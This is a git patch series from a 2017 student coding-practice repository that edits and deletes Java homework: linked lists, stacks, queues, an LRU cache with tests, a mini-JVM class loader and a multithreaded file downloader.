diff --git a/group23/810181789/src/firstday/LinkListt.java b/group23/810181789/src/firstday/LinkListt.java
deleted file mode 100644
index 6eee6eae2d..0000000000
--- a/group23/810181789/src/firstday/LinkListt.java
+++ /dev/null
@@ -1,167 +0,0 @@
-package firstday;
-
-import firstday.LinkListt;
-//import firstday.LinkListt.Node;
-
-public class LinkListt {
-  private static class Node
-  {
-	  private Object date=null;
-	  private Node next=null;
-	  public Node(Object o)
-	  {
-		  this.date=o;
-	  }
-  }
-   public Node head=null;
-   public void add(Object o)
-   {
-	   Node nde=new Node(o);
-	   if(head == null)
-	   {
-		   head=nde;
-	   }
-	   else
-	   {
-		   Node order=head;
-		   while(true)
-		   {
-			   if(order.next==null)
-			   {
-				   order.next=nde;
-				   break;
-			   }
-			   order=order.next;
-		   }
-	   }
-   }
-   public void add(int index,Object o)
-   {
-	   int cnt=1;
-	   Node n=head;
-	   while(true)
-	   {
-		   if(cnt==index-1)
-		   {
-			   Node no=new Node(o);
-			   no.next=n.next;
-			   n.next=no;
-			   break;
-		   }
-		   n=n.next;
-		   cnt++;
-	   }
-   }
-   public Object get(int index)
-   {
-	   int cnt=1;
-	   Node n=head;
-	   while(true)
-	   {
-		   if(cnt==index)
-		   {
-			   return n.date;
-		   }
-		   n=n.next;
-		   cnt++;
-	   }
-   }
-   public Object remove(int index)
-   {
-	   int cnt=1;
-	   Node n=head;
-	   Node front=null;
-	   Object re=null;
-	   while(true)
-	   {
-		   if(cnt==index-1)
-		   {
-			   front=n;
-		   }
-		   if(cnt==index)
-		   {
-			   front.next=n.next;
-			   n.next=null;
-			   re=n.date;
-			   n=null;
-			   return re;
-		   }
-		   cnt++;
-		   n=n.next;
-	   }
-   }
-   public int size()
-   {
-	   int cnt=1;
-	   Node n=head;
-	   while(true)
-	   {
-		   if(n.next==null)
-		   {
-			   return cnt;
-		   }
-		   cnt++;
-		   n=n.next;
-	   }
-   }
-   public void addFirst(Object o)
-   {
-	   Node n=new Node(o);
-	   n.next=head;
-	   head=n;
-   }
-   public Object removeFirst()
-   {
-	   Object re;
-	   Node n=head;
-	   head=n.next;
-	   n.next=null;
-	   re=n.date;
-	   n=null;
-	   return re;
-   }
-   public Object removeLast()
-   {
-	   Node n=head;
-	   Node front=null;
-	   Object re=null;
-	   while(true)
-	   {
-		   if(n.next==null)
-		   {
-			   re=n.date;
-			   front.next=null;
-			   n=null;
-			   return re;
-		   }
-		   front=n;
-		   n=n.next;
-	   }
-   }
-   public static void main(String[] args)
-   {
-	   LinkListt l=new LinkListt();
-	   for(int i=0;i<5;i++)
-	   {
-		   l.add(i);
-	   }
-	   l.add(3,8);
-	   for(int i=1;i<=6;i++)
-	   {
-		   System.out.println(l.get(i));
-	   }
-	   //System.out.println(l.size());
-	   l.addFirst(99);
-	   for(int i=1;i<=7;i++)
-	   {
-		   System.out.println(l.get(i));
-	   }
-	   l.removeFirst();
-	   for(int i=1;i<=6;i++)
-	   {
-		   System.out.println(l.get(i));
-	   }
-	   System.out.println(l.size());
-   }
-}
-
diff --git a/group23/810181789/src/firstday/Queue.java b/group23/810181789/src/firstday/Queue.java
deleted file mode 100644
index 807911f3f3..0000000000
--- a/group23/810181789/src/firstday/Queue.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package firstday;
-import firstday.LinkListt;
-public class Queue {
-    private LinkListt l=new LinkListt();
-    public Object deQueue()
-    {
-    	return l.removeFirst();
-    }
-    public void enQueue(Object o)
-    {
-    	l.add(o);
-    }
-    public boolean isEmpty()
-    {
-    	if(l.head==null)
-    	{
-    		return true;
-    	}
-    	else
-    	{
-    		return false;
-    	}
-    }
-    public int size()
-    {
-    	return l.size();
-    }
-    public static void main(String[] args)
-    {
-    	Queue q=new Queue();
-    	for(int i=0;i<4;i++)
-    	{
-    		q.enQueue(i);
-    	}
-    	System.out.println(q.size());
-    	for(int i=0;i<4;i++)
-    	{
-    		System.out.println(q.deQueue());
-    	}
-    	System.out.println(q.size());
-    	//System.out.println(q.isEmpty());
-    }
-}
diff --git a/group23/810181789/src/firstday/Stack.java b/group23/810181789/src/firstday/Stack.java
deleted file mode 100644
index abe43a4cac..0000000000
--- a/group23/810181789/src/firstday/Stack.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package firstday;
-import firstday.ArrayListt;
-public class Stack {
-     private ArrayListt a=new ArrayListt();
-     public Object peek()
-     {
-    	 return a.get(a.size()-1);
-     }
-     public Object pop()
-     {
-    	 return a.remove(a.size()-1);
-     }
-     public void push(Object o)
-     {
-    	 a.add(o);
-     }
-     public boolean isEmpty()
-     {
-    	 if(a.size()==0)
-    	 {
-    		 return true;
-    	 }
-    	 else
-    	 {
-    		 return false;
-    	 }
-     }
-     public int size()
-     {
-    	 return a.size();
-     }
-     public static void main(String[] args)
-     {
-    	 Stack s=new Stack();
-    	 for(int i=0;i<4;i++)
-    	 {
-    		 s.push(i);
-    	 }
-    	 s.pop();
-    	 System.out.println(s.peek());
-    	 System.out.println(s.size());
-     }
-}

From 1ab0e37a06d37dfb338011ef1a27b4b086b86f77 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 10:13:15 +0800
Subject: [PATCH 019/262] gitignore

---
 group23/729693763/readme.md | 11 -----------
 1 file changed, 11 deletions(-)
 delete mode 100644 group23/729693763/readme.md

diff --git a/group23/729693763/readme.md b/group23/729693763/readme.md
deleted file mode 100644
index 7e7fac06ae..0000000000
--- a/group23/729693763/readme.md
+++ /dev/null
@@ -1,11 +0,0 @@
-Data Struct contain: ArrayList, LinkedList, BinaryTreeNode, Stack, Queue, Iterator
-<<<<<<< HEAD
---- ---
-Add Blog link:
-http://www.cnblogs.com/CodeSaveMe/p/6523745.html
-=======
---- --- 
-Add Blog link: http://www.cnblogs.com/CodeSaveMe/p/6523745.html
-
-Add week2 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6571621.html
->>>>>>> my

From 4bd0af32356399a10b2985081426f2b060248f46 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 10:54:48 +0800
Subject: [PATCH 020/262] delete leetcode

---
 .../src/com/github/problems/AddTwoNums.java   | 64 -------------------
 1 file changed, 64 deletions(-)
 delete mode 100644 group23/1028361767/LeetCodeProblems/src/com/github/problems/AddTwoNums.java

diff --git a/group23/1028361767/LeetCodeProblems/src/com/github/problems/AddTwoNums.java b/group23/1028361767/LeetCodeProblems/src/com/github/problems/AddTwoNums.java
deleted file mode 100644
index 946eee43c1..0000000000
--- a/group23/1028361767/LeetCodeProblems/src/com/github/problems/AddTwoNums.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.github.problems;
-
-public class AddTwoNums {
-	
-	public ListNode addTwoNumbers(ListNode l1, ListNode l2) {
-        int carry = 0;
-        ListNode ret = null;
-        ListNode first = null;
-        while(l1 != null || l2 != null){
-        	int i = l1 == null?0 : l1.val;
-        	int j = l2 == null?0 : l2.val;
-        	int sum = i + j + carry;
-        	if(sum >= 10){
-        		carry = 1;
-        		sum -= 10;
-        	}else{
-        		carry = 0;
-        	}
-        	if(ret == null){
-        		ret = new ListNode(sum);
-        		first = ret;
-        	}else{
-        		ret.next = new ListNode(sum);
-        		ret = ret.next;
-        	}
-        	if(l1 != null){
-        		l1 = l1.next;
-        	}
-        	if(l2 != null){
-        		l2 = l2.next;
-        	}
-        }
-        if(carry > 0){
-        	ret.next = new ListNode(carry);
-        }
-		return first;
-    }
-	
-	public static void main(String[] args) {
-		ListNode l11 = new ListNode(2);
-		ListNode l12 = new ListNode(4);
-		ListNode l13 = new ListNode(3);
-		l11.next = l12;
-		l12.next = l13;
-		
-		ListNode l21 = new ListNode(5);
-		ListNode l22 = new ListNode(6);
-		ListNode l23 = new ListNode(4);
-		l21.next = l22;
-		l22.next = l23;
-		
-		ListNode ret = new AddTwoNums().addTwoNumbers(l11, l21);
-		while(ret != null){
-			System.out.println(ret.val);
-			ret = ret.next;
-		}
-	}
-}
-
-class ListNode {
-	int val;
-	ListNode next;
-	ListNode(int x) { val = x; }
-}

From 9960ec50fb4d28a61f76d65a43b0fbb556d914b5 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 12:36:17 +0800
Subject: [PATCH 021/262] LRU

LRU
---
 .../coding/basic/linklist/LRUPageFrame.java   | 62 +++++++++++++++++--
 .../basic/linklist/LRUPageFrameTest.java      | 28 ++++++++-
 2 files changed, 84 insertions(+), 6 deletions(-)

diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
index a4f2c14606..50bfb30412 100644
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -13,7 +13,8 @@ private static class Node {
 		Node next;
 		int pageNum;
 
-		Node() {
+		Node(int pageNum) {
+			this.pageNum = pageNum;
 		}
 	}
 
@@ -22,6 +23,8 @@ private static class Node {
 	
 	private Node first;// 链表头
 	private Node last;// 链表尾
+	
+	private int size;
 
 	
 	public LRUPageFrame(int capacity) {
@@ -37,19 +40,68 @@ public LRUPageFrame(int capacity) {
 	 * @return
 	 */
 	public void access(int pageNum) {
-		
-	
+		/**
+		 * 1、链表为空，直接插入first
+		 * 2、链表未满，往链尾追加
+		 * 3、链表已满，判断链表中是否存在pageNum，若存在，把pageNum，移到链尾；若不存在，把链头删除，把pageNum追加到链尾
+		 */
+		Node newNode = new Node(pageNum);
+		if(size < capacity){
+			if(size == 0){
+				first = newNode;
+			}else{
+				last.next = newNode;
+				newNode.prev = last;
+			}
+			last = newNode;
+			size++;
+			return ;
+		}
+		Node existNode = null;
+		Node tmp = first;
+		do{
+			if(tmp.pageNum == pageNum){
+				existNode = tmp;
+			}
+			tmp = tmp.next;
+		}while(tmp != null);
+		if(existNode == null || existNode == first){
+			tmp = first.next;
+			tmp.prev = null;
+			first = tmp;//链首变为链首后一个节点
+			last.next = newNode;
+			newNode.prev = last;
+			last = newNode;//链尾追加新节点
+		}else if(existNode == last){
+				return ;
+		}else{
+			/**
+			 * 已存在节点的上一个节点的下一个节点指向已存在节点的下一个节点
+			 * 
+			 */
+			Node prev = existNode.prev;
+			Node next = existNode.next;
+			prev.next = next;
+			next.prev = prev;
+			if(prev.prev == null){
+				first = prev;
+			}
+			newNode.prev = last;
+			last.next = newNode;
+			last = newNode;
+			existNode = null;
+		}
 	}
 	
 	
 
 	public String toString(){
 		StringBuilder buffer = new StringBuilder();
-		Node node = first;
+		Node node = last;
 		while(node != null){
 			buffer.append(node.pageNum);			
 			
-			node = node.next;
+			node = node.prev;
 			if(node != null){
 				buffer.append(",");
 			}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
index 67cf36067b..c4645c6869 100644
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -27,5 +27,31 @@ public void testAccess() {
 		frame.access(4);
 		Assert.assertEquals("4,0,3", frame.toString());
 	}
-
+	
+	@Test
+	public void testAccessCustom() {
+		LRUPageFrame frame = new LRUPageFrame(5);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		frame.access(5);
+		frame.access(3);
+		Assert.assertEquals("3,5,1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,3,5,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,3,5,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,3,5,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2,5,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2,5,1", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3,2,5", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0,3,2", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,5,4,0,3", frame.toString());
+	}
 }

From 3089712e230e387ecbd794700b28982bf0bb3311 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 13:52:43 +0800
Subject: [PATCH 022/262] gitingnore

---
 .gitignore | 17 -----------------
 1 file changed, 17 deletions(-)

diff --git a/.gitignore b/.gitignore
index 95026b5340..506d40056e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -288,23 +288,6 @@ liuxin/.DS_Store
 liuxin/src/.DS_Store
 
 
-group23/729693763/*
-
-group23/1072760797-skomefen/*
-
-group23/609041842/*
-
-group23/810181789/*
-
-group23/1246614258/*
-
-group23/565832157/*
-
-group23/601689050/*
-
-group23/632678665/*
-
-group23/769232552/*
 
 
 

From 49c6f2f4e855c96051460567cc6d399bc2adcd2d Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 14:49:49 +0800
Subject: [PATCH 023/262] classLoader

classLoader
---
 .../jvm/loader/ClassFileLoader.java           | 54 ++++++++++++++++---
 .../jvm/test/ClassFileloaderTest.java         |  4 +-
 2 files changed, 49 insertions(+), 9 deletions(-)

diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
index d1cebad9d1..e9f6541cc1 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -1,6 +1,11 @@
 package com.coderising.jvm.loader;
 
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 
 
@@ -10,21 +15,56 @@ public class ClassFileLoader {
 	private List<String> clzPaths = new ArrayList<String>();
 	
 	public byte[] readBinaryCode(String className) {
-		
-		return null;	
-		
-		
+		className = castClassName(className);
+		File file = null;
+		FileInputStream fis = null;
+		for(String clzPath : clzPaths){
+			file = new File((clzPath + className));
+			try {
+				fis = new FileInputStream(file);
+				byte[] bytes = new byte[2048];
+				int i = 0;
+				int sum = 0;
+				while((i = fis.read(bytes)) != -1){
+					sum += i;
+				}
+				fis.close();
+				return Arrays.copyOf(bytes, sum);
+			} catch (FileNotFoundException e) {
+				continue;
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		return new byte[0];
 	}
 	
-	
+	private String castClassName(String className) {
+		String[] packs = className.split("\\.");
+		StringBuilder sb = new StringBuilder("/");
+		for(int i=0;i<packs.length;i++){
+			sb.append(packs[i]);
+			if(i == packs.length-1){
+				sb.append(".class");
+			}else{
+				sb.append("/");
+			}
+		}
+		return sb.toString();
+	}
+
 	public void addClassPath(String path) {
-		
+		clzPaths.add(path);
 	}
 	
 	
 	
 	public String getClassPath(){
-		return null;
+		StringBuilder sb = new StringBuilder();
+		for(String clzPath : clzPaths){
+			sb.append(clzPath).append(";");
+		}
+		return sb.length() == 0?"":sb.substring(0, sb.length()-1);
 	}
 
 	
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 50eb1be6fa..27e84b762a 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -14,8 +14,8 @@
 public class ClassFileloaderTest {
 
 	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
+	static String path1 = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
+	static String path2 = "/tmp";
 	
 	
 	

From 4c0c7f72d382017bf7a51d52c4e80ce60e67928e Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Wed, 29 Mar 2017 00:07:49 +0800
Subject: [PATCH 024/262] 111

---
 group23/1028361767/1028361767.md              |   1 -
 .../coderising/download/DownloadThread.java   |  31 --
 .../coderising/download/FileDownloader.java   | 104 -----
 .../download/FileDownloaderTest.java          |  59 ---
 .../coderising/download/api/Connection.java   |  26 --
 .../download/api/ConnectionException.java     |   8 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         |  62 ---
 .../download/impl/ConnectionManagerImpl.java  |  26 --
 .../coderising/litestruts/LoginAction.java    |  39 --
 .../src/com/coderising/litestruts/Struts.java | 181 --------
 .../com/coderising/litestruts/StrutsTest.java |  43 --
 .../src/com/coderising/litestruts/View.java   |  23 -
 .../src/com/coding/basic/BinaryTreeNode.java  |  97 -----
 .../src/com/coding/basic/Iterator.java        |   8 -
 .../src/com/coding/basic/List.java            |  13 -
 .../src/com/coding/basic/Queue.java           |  24 --
 .../src/com/coding/basic/Stack.java           |  37 --
 .../src/com/coding/basic/array/ArrayList.java |  83 ----
 .../src/com/coding/basic/array/ArrayUtil.java | 210 ---------
 .../coding/basic/linklist/LRUPageFrame.java   | 112 -----
 .../basic/linklist/LRUPageFrameTest.java      |  57 ---
 .../com/coding/basic/linklist/LinkedList.java | 402 ------------------
 .../src/com/coding/me/Palindrome.java         |  82 ----
 .../com/coding/me/leetcode/AddTwoNums.java    |  84 ----
 .../test/com/coding/basic/TestArrayList.java  |  61 ---
 .../com/coding/basic/TestBinaryTreeNode.java  |  37 --
 .../test/com/coding/basic/TestLinkedList.java | 176 --------
 .../jvm/loader/ClassFileLoader.java           |  74 ----
 .../jvm/test/ClassFileloaderTest.java         |  92 ----
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 --
 .../coderising/download/DownloadThread.java   |  65 ---
 .../coderising/download/FileDownloader.java   |  89 ----
 .../download/FileDownloaderTest.java          |  58 ---
 .../coderising/download/api/Connection.java   |  24 --
 .../download/api/ConnectionException.java     |   5 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         | 143 -------
 .../download/impl/ConnectionManagerImpl.java  |  16 -
 .../src/junit/test/ConnectionImplTest.java    |  92 ----
 .../junit/test/ConnectionManagerImplTest.java |  31 --
 .../src/junit/test/DownloadThreadTest.java    |  77 ----
 group23/609041842/src/code/ArrayList.java     |  49 ---
 group23/609041842/src/code/LinkedList.java    |  87 ----
 group23/609041842/src/code/Queue.java         |  17 -
 group23/609041842/src/code/Stack.java         |  30 --
 .../Third_Homework3/DataStruct/Iterator.java  |   6 -
 .../DataStruct/LinkedList.java                | 327 --------------
 .../Third_Homework3/DataStruct/List.java      |  10 -
 .../Third_Homework3/download/.classpath       |   5 -
 .../Third_Homework3/download/.project         |  17 -
 .../download/DownloadThread.java              |  49 ---
 .../download/FileDownloader.java              |  96 -----
 .../download/FileDownloaderTest.java          |  58 ---
 .../download/api/Connection.java              |  23 -
 .../download/api/ConnectionException.java     |   5 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         |  80 ----
 .../download/impl/ConnectionManagerImpl.java  |  27 --
 group23/group23.md                            |   1 -
 63 files changed, 3812 deletions(-)
 delete mode 100644 group23/1028361767/1028361767.md
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/List.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/Queue.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/Stack.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/AddTwoNums.java
 delete mode 100644 group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
 delete mode 100644 group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
 delete mode 100644 group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
 delete mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 delete mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 delete mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
 delete mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
 delete mode 100644 group23/609041842/src/code/ArrayList.java
 delete mode 100644 group23/609041842/src/code/LinkedList.java
 delete mode 100644 group23/609041842/src/code/Queue.java
 delete mode 100644 group23/609041842/src/code/Stack.java
 delete mode 100644 group23/729693763/Third_Homework3/DataStruct/Iterator.java
 delete mode 100644 group23/729693763/Third_Homework3/DataStruct/LinkedList.java
 delete mode 100644 group23/729693763/Third_Homework3/DataStruct/List.java
 delete mode 100644 group23/729693763/Third_Homework3/download/.classpath
 delete mode 100644 group23/729693763/Third_Homework3/download/.project
 delete mode 100644 group23/729693763/Third_Homework3/download/DownloadThread.java
 delete mode 100644 group23/729693763/Third_Homework3/download/FileDownloader.java
 delete mode 100644 group23/729693763/Third_Homework3/download/FileDownloaderTest.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/Connection.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionException.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionManager.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/DownloadListener.java
 delete mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
 delete mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/group23.md

diff --git a/group23/1028361767/1028361767.md b/group23/1028361767/1028361767.md
deleted file mode 100644
index 741976ad6e..0000000000
--- a/group23/1028361767/1028361767.md
+++ /dev/null
@@ -1 +0,0 @@
-This is 1028361767's project.
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 8cf0ae1e42..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.download;
-
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		try {
-			byte[] bytes = conn.read(startPos, endPos);
-			RandomAccessFile file = new RandomAccessFile("/Users/jie/Desktop/test.png", "rw");
-			file.seek(startPos);
-			file.write(bytes);
-			file.close();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index 1fe4ebb159..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,104 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-	Thread[] threads = new Thread[3];
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();
-			
-			int size = length / 3;
-			int remain = length - size;
-			
-			for(int i=0;i<3;i++){
-				conn = cm.open(this.url);
-				int startPos = i*size;
-				int endPos = (i+1) * size - 1;
-				if(i == 2){
-					endPos = (i+1) * size - 1 + remain;
-				}
-				threads[i] = new DownloadThread(conn,startPos,endPos);
-				threads[i].start();
-			}
-
-			new Thread(new Runnable(){
-				public void run(){
-					boolean finish;
-					do{
-						finish = true;
-						for(int i=0;i<threads.length;i++){
-//							System.out.println("线程" + i + "状态:" + threads[i].getState());
-							if(!"TERMINATED".equals(threads[i].getState().toString())){
-								finish = false;
-								continue;
-							}
-						}
-					}while(!finish);
-					getListener().notifyFinished();
-				}
-			}).start();;
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index 128a302664..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://pic6.huitu.com/res/20130116/84481_20130116142820494200_1.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
